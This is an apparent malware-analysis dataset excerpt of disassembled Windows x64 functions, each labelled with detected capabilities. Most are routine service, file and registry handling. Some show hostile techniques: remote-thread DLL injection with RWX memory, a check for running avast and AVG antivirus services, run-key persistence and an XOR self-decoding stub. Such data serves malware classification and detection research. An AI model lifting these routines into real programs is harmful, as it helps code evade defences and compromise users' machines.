joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004200
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
xor ebx, ebx
mov rbp, r8
mov r14, rdx
mov dword [rdx], ebx
mov r15, rcx
xor edx, edx
xor ecx, ecx
mov edi, ebx
lea r8d, [rbx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140004285
lea r8d, [rbx + 4]
mov rdx, r15
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x140004264
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
jne 0x140004285
jmp 0x140004280
mov dword [r14], 1
test rbp, rbp
je 0x140004280
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x140004285
mov edi, 1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
test rbx, rbx
je 0x14000429b
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rsi, rsi
je 0x1400042a9
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140004340
Capabilities:
Get file size
Read file via mapping

Disassembly:
push rbp
push rsi
push r12
push r13
sub rsp, 0x48
xor esi, esi
mov rbp, rdx
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov edx, 0x80000000
mov r13d, esi
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
test rax, rax
jne 0x140004389
add rsp, 0x48
pop r13
pop r12
pop rsi
pop rbp
ret
mov qword [rsp + 0x70], rbx
xor edx, edx
mov qword [rsp + 0x80], r14
mov rcx, rax
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov r15d, eax
mov rcx, r12
mov dword [rsp + 0x20], esi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov r14, rax
test rax, rax
je 0x140004476
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rsi, rax
test rax, rax
je 0x140004476
mov qword [rsp + 0x78], rdi
or rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rbx + rbp], r13b
jne 0x140004400
movsx edx, byte [rbp]
mov r8, r15
mov rcx, rax
call fcn.140006360
mov rdi, rax
test rax, rax
je 0x140004466
movsxd rbx, ebx
nop dword [rax]
nop word [rax + rax]
mov r8, rbx
mov rdx, rbp
mov rcx, rdi
call fcn.140006600
test eax, eax
je 0x1400044cb
movsx edx, byte [rbp]
inc rdi
mov r8d, esi
mov rcx, rdi
sub r8d, edi
add r8d, r15d
call fcn.140006360
mov rdi, rax
test rax, rax
jne 0x140004430
mov ecx, 0x490
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rdi, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15, qword [rsp + 0x40]
mov ebx, eax
test rsi, rsi
je 0x140004491
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
test r14, r14
je 0x14000449f
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r14, qword [rsp + 0x80]
mov eax, r13d
mov rbx, qword [rsp + 0x70]
add rsp, 0x48
pop r13
pop r12
pop rsi
pop rbp
ret
mov r13d, 1
jmp 0x140004471

Function at 0x140004530
Capabilities:
Move file

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x30
mov qword [rsp + 0x50], rsi
xor edi, edi
mov qword [rsp + 0x58], r14
mov esi, r9d
mov qword [rsp + 0x60], r15
mov r15, rcx
mov ebp, r8d
mov r14, rdx
test r9d, r9d
je 0x140004564
call fcn.140003d50
mov rbx, rax
jmp 0x140004569
mov rbx, qword [rsp + 0x20]
mov r8d, ebp
mov rdx, r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
mov ecx, 1
cmovne edi, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15, qword [rsp + 0x60]
test esi, esi
mov rsi, qword [rsp + 0x50]
mov ebp, eax
mov r14, qword [rsp + 0x58]
je 0x1400045a5
mov rcx, rbx
call fcn.140004990
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
add rsp, 0x30
pop rdi
pop rbp
pop rbx
ret
Function at 0x140004a10
Capabilities:
Query service status
Start service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140020018]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
xor esi, esi
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
mov edi, esi
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbp, rax
test rax, rax
je 0x140004ad9
lea r8d, [rsi + 0x10]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x140004ad9
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov esi, eax
test eax, eax
jne 0x140004ad9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x140004a96
mov esi, 1
jmp 0x140004ad9
mov ebx, 0xa
nop dword [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
dec ebx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x140004ad9
mov eax, dword [rsp + 0x24]
cmp eax, 2
jne 0x140004ace
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jne 0x140004aa0
jmp 0x140004ad9
cmp eax, 4
mov ecx, 1
cmove esi, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test rbp, rbp
je 0x140004aef
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rdi, rdi
je 0x140004afd
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140005250
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret

Function at 0x140004b30
Capabilities:
Stop service

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x140020018]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbp, rdx
mov r14, rcx
xor edi, edi
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov ebx, edi
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140004bb2
lea r8d, [rdi + 0x20]
mov rdx, r14
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x140004bb2
test rbp, rbp
je 0x140004b99
mov rcx, r14
call rbp
test eax, eax
je 0x140004bb2
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
setne dil
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
test rbx, rbx
je 0x140004bc8
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rsi, rsi
je 0x140004bd6
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140005250
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140004c10
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x48
cmp dword [0x140029e64], 0
je 0x140004c28
mov eax, dword [0x140029e60]
add rsp, 0x48
ret
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rdi
xor edi, edi
mov dword [0x140029e64], 1
mov r9d, 0x20119
mov dword [0x140029e60], edi
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREEldoSEventLog
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004cdc
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x58]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rbx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Enabled
mov dword [rsp + 0x50], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x68]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
mov rbx, qword [rsp + 0x40]
jne 0x140004cdc
cmp dword [rsp + 0x58], 4
jne 0x140004cdc
cmp dword [rsp + 0x60], edi
setne dil
mov dword [0x140029e60], edi
mov eax, edi
mov rdi, qword [rsp + 0x38]
add rsp, 0x48
ret
xor eax, eax
mov rdi, qword [rsp + 0x38]
add rsp, 0x48
ret

Function at 0x140004dc0
Capabilities:
Access the windows event log

Disassembly:
mov rax, rsp
mov word [rax + 8], cx
push r12
sub rsp, 0x70
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov rbp, r8
mov qword [rax + 0x20], rsi
xor esi, esi
mov qword [rax - 0x10], rdi
mov qword [rax - 0x18], r13
mov r13d, r9d
mov qword [rax - 0x20], r14
mov r14, rdx
mov qword [rax - 0x28], r15
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
call fcn.140004c10
test eax, eax
je 0x140004eed
or rdi, 0xffffffffffffffff
mov rbx, rdi
inc rbx
cmp byte [r14 + rbx], sil
jne 0x140004e11
inc ebx
nop dword [rax]
inc rdi
cmp byte [rdi + rbp], sil
jne 0x140004e20
inc edi
lea r15d, [rbx + 4]
add r15d, edi
mov ecx, r15d
call fcn.140008710
mov rsi, rax
test rax, rax
je 0x140004eed
lea rcx, [rax + 4]
mov dword [rax], r13d
mov r8, rbx
mov rdx, r14
call fcn.140005c90
lea rcx, [rsi + 4]
mov r8d, edi
add rcx, rbx
mov rdx, rbp
call fcn.140005c90
cmp qword [rsp + 0xa0], 0
jne 0x140004e88
lea rax, [0x140015730]
xor ebx, ebx
mov qword [rsp + 0xa0], rax
jmp 0x140004e8f
mov ebx, dword [rsp + 0xa8]
mov rdx, qword [section..data]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov rdi, rax
test rax, rax
je 0x140004ef4
movzx edx, word [rsp + 0x80]
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rsi
mov r9d, 1
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], r15d
mov rcx, rdi
mov word [rsp + 0x28], r9w
mov qword [rsp + 0x20], r8
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
jmp 0x140004ef4
mov ebx, dword [rsp + 0xa8]
mov rcx, rsi
call fcn.1400086fc
mov r15, qword [rsp + 0x50]
test ebx, ebx
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x98]
mov rbp, qword [rsp + 0x90]
je 0x140004f39
mov rcx, qword [rsp + 0xa0]
call fcn.1400086fc
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_SetLastError]
add rsp, 0x70
pop r12
ret
Function at 0x140009b70
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000999c
Function at 0x1400026d0
Capabilities:
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x28
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov edi, 1
mov eax, edi
shl rax, cl
cmp rdx, rax
ja 0x14000288e
lea rax, [rdx - 1]
mov qword [rsp + 0x50], rbx
mov rbx, qword [rsi + 8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
mov qword [rsp + 0x20], r14
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.140002170
mov qword [rsi + 0x38], rdi
lea rax, [rdi - 1]
mov qword [rsi + 0x30], rax
mov rcx, qword [rsi + 8]
mov rcx, qword [rcx]
mov rdx, rcx
cmp rcx, rbx
je 0x140002857
mov qword [rsp + 0x58], rbp
movabs rdi, 0x100000001b3
movabs rbp, 0xcbf29ce484222325
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + 0x11]
movzx r9d, byte [rcx + 0x10]
mov r11, qword [rsi + 0x30]
xor r9, rbp
mov rdx, qword [rdx]
imul r9, rdi
xor r9, rax
movzx eax, byte [rcx + 0x12]
imul r9, rdi
xor r9, rax
movzx eax, byte [rcx + 0x13]
imul r9, rdi
xor r9, rax
imul r9, rdi
and r11, r9
shl r11, 4
add r11, qword [rsi + 0x18]
mov r10, qword [r11]
cmp r10, rbx
jne 0x1400027c3
mov qword [r11], rcx
mov qword [r11 + 8], rcx
jmp 0x140002846
mov rax, qword [r11 + 8]
mov r9d, dword [rcx + 0x10]
cmp r9d, dword [rax + 0x10]
jne 0x140002800
mov r10, qword [rax]
cmp r10, rcx
je 0x1400027fa
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], r10
mov rax, qword [r10 + 8]
mov qword [rax], rcx
mov qword [r10 + 8], r8
mov qword [rdx + 8], r9
mov qword [rcx + 8], rax
mov qword [r11 + 8], rcx
jmp 0x140002846
mov r8, rax
cmp r10, rax
je 0x140002822
nop dword [rax + rax]
mov rax, qword [rax + 8]
mov r8, rax
cmp r9d, dword [rax + 0x10]
je 0x140002868
cmp r10, rax
jne 0x140002810
mov r10, qword [rcx + 8]
mov qword [r10], rdx
mov r9, qword [rdx + 8]
mov qword [r9], r8
mov rax, qword [r8 + 8]
mov qword [rax], rcx
mov qword [r8 + 8], r9
mov qword [rdx + 8], r10
mov qword [rcx + 8], rax
mov qword [r11], rcx
mov rcx, rdx
cmp rdx, rbx
jne 0x140002770
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rsi
ret
mov r10, qword [rax]
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], r10
mov rax, qword [r10 + 8]
mov qword [rax], rcx
mov qword [r10 + 8], r8
mov qword [rdx + 8], r9
mov qword [rcx + 8], rax
jmp 0x140002846
lea rcx, str.invalid_hash_bucket_count
call fcn.140004764
int3
Function at 0x1400044a0
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x50
mov rax, qword [0x14001e008]
xor rax, rsp
mov qword [rsp + 0x40], rax
test cl, cl
je 0x140004658
test dl, dl
je 0x140004658
cmp word [r8], 1
jb 0x140004523
ja 0x140004658
cmp word [r8 + 2], 0xd
jb 0x140004523
ja 0x140004658
movzx eax, word [r8 + 4]
cmp ax, 1
jb 0x140004523
ja 0x140004658
cmp word [r8 + 6], 0x11
jb 0x140004523
cmp ax, 1
ja 0x140004658
cmp word [r8 + 6], 0x11
jne 0x140004658
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
setne r14b
test rax, rax
jne 0x140004558
test r14b, r14b
je 0x140004658
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
jmp 0x140004658
mov r8d, 4
lea rdx, str.avast__Antivirus
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
setne sil
test rax, rax
je 0x1400045bb
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x1400045bb
cmp dword [rsp + 0x24], 4
jne 0x1400045bb
test sil, sil
je 0x1400045a5
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
test r14b, r14b
je 0x1400045b4
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov al, 1
jmp 0x14000465a
mov r8d, 4
lea rdx, str.AVG_Antivirus
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbp, rax
test sil, sil
je 0x1400045f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rbp, rbp
setne dil
test rbp, rbp
je 0x14000463a
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x14000463a
cmp dword [rsp + 0x24], 4
jne 0x14000463a
test dil, dil
je 0x140004627
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
test r14b, r14b
je 0x140004636
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov al, 1
jmp 0x14000465a
test dil, dil
je 0x140004649
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
test r14b, r14b
je 0x140004658
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
xor al, al
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400047a0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x140001140
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rbx, rdx
mov r8d, ecx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400011bc
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400011ac
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400011a7
lea rax, [rdx + 0x27]
cmp rax, rdx
jbe 0x1400011b5
mov rdx, rax
test cl, 0x1f
jne 0x1400011b5
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1400011b5
sub rcx, rax
sub rcx, 8
cmp rcx, 0x1f
ja 0x1400011b5
mov rcx, rax
call fcn.1400023a0
xor edi, edi
xor al, al
jmp 0x1400012dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r8, qword [rbx + 0x10]
mov r9d, 0x3000
xor edx, edx
mov qword [rsp + 0x70], rbp
mov rcx, rsi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x14000123e
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000122e
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140001229
lea rax, [rdx + 0x27]
cmp rax, rdx
jbe 0x140001237
mov rdx, rax
test cl, 0x1f
jne 0x140001237
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x140001237
sub rcx, rax
sub rcx, 8
cmp rcx, 0x1f
ja 0x140001237
mov rcx, rax
call fcn.1400023a0
xor edi, edi
xor al, al
jmp 0x1400012d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp qword [rbx + 0x18], 0x10
mov r8, rbx
jb 0x14000124b
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
xor edi, edi
mov rdx, rbp
mov qword [rsp + 0x20], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov dword [rsp + 0x28], edi
mov rcx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400012d6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400012d1
lea rax, [rdx + 0x27]
cmp rax, rdx
jbe 0x1400012f4
mov rdx, rax
test cl, 0x1f
jne 0x1400012f4
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1400012f4
sub rcx, rax
sub rcx, 8
cmp rcx, 0x1f
ja 0x1400012f4
mov rcx, rax
call fcn.1400023a0
mov al, 1
mov rbp, qword [rsp + 0x70]
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140001850
Capabilities:
Create thread
Persist via run registry key
Query or enumerate registry value
Terminate process

Disassembly:
sub rsp, 0x188
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x100
xor edx, edx
mov r8d, 0x100
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Common_AppData
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x70]
lea rdx, str._s_sa_saopts.dat
lea rcx, [0x140007700]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140001300]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rdx, [rsp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140001ff0
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rax, qword [rsp + 0x48]
cmp qword [rsp + 0x58], 4
jne 0x140001940
mov ecx, dword [rax]
cmp ecx, dword [str.quit]
jne 0x140001940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400024bc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.14000268c
test al, al
je 0x140002617
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.140002650
mov bl, al
mov ecx, dword [0x140007110]
cmp ecx, 1
je 0x140002622
test ecx, ecx
jne 0x140002549
mov dword [0x140007110], 1
lea rdx, [0x140004350]
lea rcx, [0x140004338]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x14000252a
mov eax, 0xff
jmp 0x140002607
lea rdx, [0x140004330]
lea rcx, [0x140004318]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x140007110], 2
jmp 0x140002551
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.140002854
call fcn.140002cf8
mov rbx, rax
cmp qword [rax], 0
je 0x140002588
mov rcx, rax
call fcn.1400027b8
test al, al
je 0x140002588
mov rbx, qword [rbx]
mov rcx, rbx
call fcn.14000290c
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call rbx
call fcn.140002d00
mov rbx, rax
cmp qword [rax], 0
je 0x1400025aa
mov rcx, rax
call fcn.1400027b8
test al, al
je 0x1400025aa
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov rdi, qword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov rbx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
mov r8, rax
mov rdx, rdi
mov ecx, dword [rbx]
call main
mov ebx, eax
call fcn.140002e60
test al, al
je 0x14000262c
test sil, sil
jne 0x1400025e1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.140002878
mov eax, ebx
jmp 0x140002607
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.140002d10
nop
mov ecx, 7
call fcn.140002d10
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
sub rsp, 0x28
call fcn.140002bf0
add rsp, 0x28
jmp 0x1400024bc
Function at 0x140001b98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001be2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001be2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001be2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001be2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001be2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001be4
xor al, al
add rsp, 0x28
ret

Function at 0x1810cd6dc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1810cd6e6
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1810cd70f
pop rbp
sub rbp, 0x33
sub rbp, 0x10cd6dc
cmp edx, 1
je 0x1810cd752
ldmxcsr dword [rsp]
add rsp, 8
popfq
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
xor rax, rax
ret
sub rsp, 0x20
jmp 0x1810cd762
mov rax, 0x10cd6dc
add rax, rbp
add rax, 0xb8
mov rcx, 0x60b
mov rdx, 0xffffffffa0fd4aca
xor byte [rax], dl
inc rax
dec rcx
jne 0x1810cd781
jmp 0x1810cd798
invalid